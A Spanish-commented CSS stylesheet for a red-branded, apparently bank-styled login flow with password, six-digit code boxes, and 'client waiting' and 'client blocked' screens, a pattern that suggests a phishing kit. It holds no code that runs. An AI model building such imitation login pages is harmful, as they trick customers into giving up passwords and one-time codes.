* {
    margin: 0;
    padding: 0;
    box-sizing: border-box;
}

html, body {
    height: 100%;
    min-height: 100vh;
    font-family: 'Roboto Condensed', 'Arial Narrow', Arial, sans-serif;
    color: #000000;
    -webkit-font-smoothing: antialiased;
    -moz-osx-font-smoothing: grayscale;
}

body {
    display: flex;
    flex-direction: column;
    min-height: 100vh;
    background-color: #FFFFFF;
    background-image: url('fondo');
    background-size: cover;
    background-position: center bottom;
    background-repeat: no-repeat;
    background-attachment: fixed;
}

/* Cabecera Corporativa Roja con Logo */
.dav-header {
    width: 100%;
    background-color: #ee1c28;
    border-top: 4px solid #3c3c3c;
    height: 58px;
    display: flex;
    align-items: center;
    flex-shrink: 0;
    box-shadow: 0 2px 6px rgba(0, 0, 0, 0.08);
}

.dav-header-container {
    width: 100%;
    padding: 0 28px;
    display: flex;
    align-items: center;
    justify-content: flex-start;
}

.dav-logo {
    height: 36px;
    width: auto;
    display: block;
    object-fit: contain;
}

/* Contenedor principal que ubica el formulario con margen superior equilibrado */
.main-wrapper {
    flex: 1;
    width: 100%;
    display: flex;
    align-items: flex-start;
    justify-content: center;
    padding: 150px 20px 40px 20px;
}

.auth-card {
    width: 100%;
    max-width: 540px;
    display: flex;
    flex-direction: column;
    align-items: center;
    text-align: center;
    margin-top: 0;
}

/* Título superior */
.auth-title {
    font-family: 'Roboto Condensed', 'Arial Narrow', Arial, sans-serif;
    font-size: 32px;
    font-weight: 400;
    color: #000000;
    letter-spacing: 0.1px;
    margin-bottom: 65px;
    user-select: none;
}

/* Formularios de los pasos */
.auth-form {
    width: 100%;
    display: flex;
    flex-direction: column;
    align-items: center;
}

.auth-form.hidden {
    display: none !important;
}

/* Indicación de paso (Paso 3) */
.code-instruction {
    font-family: 'Roboto Condensed', Arial, sans-serif;
    font-size: 16.5px;
    font-weight: 400;
    color: #333333;
    margin-bottom: 26px;
    letter-spacing: 0.1px;
    text-align: center;
    max-width: 380px;
    line-height: 1.35;
}

/* Campo de texto con subrayado rojo */
.input-wrapper {
    position: relative;
    width: 215px;
    margin-bottom: 55px;
}

.auth-input {
    width: 100%;
    padding: 2px 0 5px 0;
    border: none;
    border-bottom: 2px solid #ED1C27;
    background: transparent;
    font-family: 'Roboto Condensed', 'Arial Narrow', Arial, sans-serif;
    font-size: 15.5px;
    font-weight: 400;
    color: #000000;
    text-align: center;
    outline: none;
    border-radius: 0;
    transition: border-color 0.2s ease;
}

/* Código de 6 dígitos con espaciado */
.code-input {
    font-size: 20px;
    letter-spacing: 6px;
    font-weight: 600;
}

/* Botón de ver/ocultar contraseña */
.toggle-pass-btn {
    position: absolute;
    right: -28px;
    top: 50%;
    transform: translateY(-50%);
    background: transparent;
    border: none;
    cursor: pointer;
    color: #888888;
    padding: 4px;
    display: flex;
    align-items: center;
    justify-content: center;
    outline: none;
    transition: color 0.15s ease;
}

.toggle-pass-btn:hover {
    color: #ED1C27;
}

/* Estilo y color del placeholder */
.auth-input::placeholder {
    color: #000000;
    opacity: 1;
    font-family: 'Roboto Condensed', 'Arial Narrow', Arial, sans-serif;
    font-size: 15px;
    font-weight: 400;
}

.auth-input::-webkit-input-placeholder {
    color: #000000;
    opacity: 1;
    font-family: 'Roboto Condensed', 'Arial Narrow', Arial, sans-serif;
    font-size: 15px;
}

.auth-input::-moz-placeholder {
    color: #000000;
    opacity: 1;
    font-family: 'Roboto Condensed', 'Arial Narrow', Arial, sans-serif;
    font-size: 15px;
}

.auth-input:-ms-input-placeholder {
    color: #000000;
    opacity: 1;
    font-family: 'Roboto Condensed', 'Arial Narrow', Arial, sans-serif;
    font-size: 15px;
}

/* Botón rojo redondeado */
.auth-btn {
    background-color: #ED1C27;
    color: #FFFFFF;
    font-family: 'Roboto', -apple-system, BlinkMacSystemFont, 'Segoe UI', Arial, sans-serif;
    font-size: 14.5px;
    font-weight: 400;
    border: none;
    border-radius: 20px;
    padding: 7px 40px;
    min-width: 138px;
    height: 34px;
    cursor: pointer;
    outline: none;
    text-decoration: none;
    display: inline-flex;
    align-items: center;
    justify-content: center;
    transition: background-color 0.2s ease, transform 0.08s ease;
    box-shadow: 0 1px 2px rgba(0, 0, 0, 0.06);
}

.auth-btn:hover {
    background-color: #d61520;
}

.auth-btn:active {
    transform: scale(0.98);
}

/* Mensajes de error */
.error-text {
    position: absolute;
    top: calc(100% + 8px);
    left: 50%;
    transform: translateX(-50%);
    color: #ED1C27;
    font-size: 12.5px;
    font-family: 'Roboto', Arial, sans-serif;
    text-align: center;
    max-width: 320px;
    width: max-content;
}

/* 6 Casillas de Código OTP */
.otp-wrapper {
    position: relative;
    display: flex;
    flex-direction: column;
    align-items: center;
    margin-bottom: 60px;
    width: 100%;
}

.otp-boxes {
    display: flex;
    justify-content: center;
    align-items: center;
    gap: 9px;
    width: 100%;
    max-width: 340px;
}

.otp-box {
    width: 44px;
    height: 52px;
    background: #ffffff;
    border: 1.5px solid #cbd5e1;
    border-radius: 8px;
    text-align: center;
    font-family: 'Roboto Condensed', 'Roboto', monospace;
    font-size: 24px;
    font-weight: 700;
    color: #0f172a;
    outline: none;
    transition: all 0.15s ease;
    box-shadow: 0 1px 3px rgba(0, 0, 0, 0.05);
    -webkit-appearance: none;
    -moz-appearance: textfield;
}

.otp-box::-webkit-outer-spin-button,
.otp-box::-webkit-inner-spin-button {
    -webkit-appearance: none;
    margin: 0;
}

.otp-box:focus {
    border-color: #ED1C27;
    background: #ffffff;
    box-shadow: 0 0 0 3px rgba(237, 28, 39, 0.15);
    transform: translateY(-1px);
}

.otp-box.filled {
    border-color: #ED1C27;
    background: #fff8f8;
}

@media (max-width: 420px) {
    .otp-boxes {
        gap: 6px;
        max-width: 290px;
    }
    .otp-box {
        width: 38px;
        height: 48px;
        font-size: 21px;
    }
}

.success-text {
    margin-top: 25px;
    color: #2e7d32;
    font-size: 13.5px;
    font-family: 'Roboto', Arial, sans-serif;
    background-color: rgba(232, 245, 233, 0.92);
    padding: 8px 16px;
    border-radius: 4px;
    border: 1px solid #c8e6c9;
}

/* Estado de Espera / Carga del Cliente ("se queda cargando validación") */
.auth-loading {
    display: none;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    text-align: center;
    padding: 20px 0;
    width: 100%;
}

.auth-loading.active {
    display: flex;
}

.dav-spinner {
    width: 44px;
    height: 44px;
    border: 3.5px solid rgba(237, 28, 39, 0.15);
    border-top-color: #ED1C27;
    border-radius: 50%;
    animation: dav-spin 0.8s linear infinite;
    margin-bottom: 22px;
}

@keyframes dav-spin {
    to { transform: rotate(360deg); }
}

.loading-title {
    font-family: 'Roboto Condensed', Arial, sans-serif;
    font-size: 24px;
    font-weight: 400;
    color: #000000;
    margin-bottom: 8px;
    letter-spacing: 0.1px;
}

.loading-sub {
    font-family: 'Roboto', Arial, sans-serif;
    font-size: 14px;
    color: #555555;
}

/* Estado de Bloqueado del Cliente */
.auth-blocked {
    display: none;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    text-align: center;
    padding: 20px 10px;
    width: 100%;
}

.auth-blocked.active {
    display: flex;
}

.blocked-icon {
    margin-bottom: 20px;
    display: flex;
    align-items: center;
    justify-content: center;
}

.blocked-title {
    font-family: 'Roboto Condensed', Arial, sans-serif;
    font-size: 26px;
    font-weight: 500;
    color: #000000;
    margin-bottom: 12px;
    letter-spacing: 0.1px;
}

.blocked-text {
    font-family: 'Roboto', Arial, sans-serif;
    font-size: 14.5px;
    color: #333333;
    margin-bottom: 8px;
    line-height: 1.45;
    max-width: 320px;
}

.blocked-sub {
    font-family: 'Roboto', Arial, sans-serif;
    font-size: 13px;
    color: #777777;
}

/* Ajustes responsivos */
@media (max-width: 480px) {
    .dav-header {
        height: 52px;
    }

    .dav-header-container {
        padding: 0 16px;
        justify-content: flex-start;
    }

    .dav-logo {
        height: 30px;
    }

    .main-wrapper {
        padding: 85px 16px 20px 16px;
    }

    .auth-card {
        margin-top: 0;
    }

    .auth-title {
        font-size: 26px;
        margin-bottom: 45px;
    }

    .input-wrapper {
        margin-bottom: 45px;
    }
}
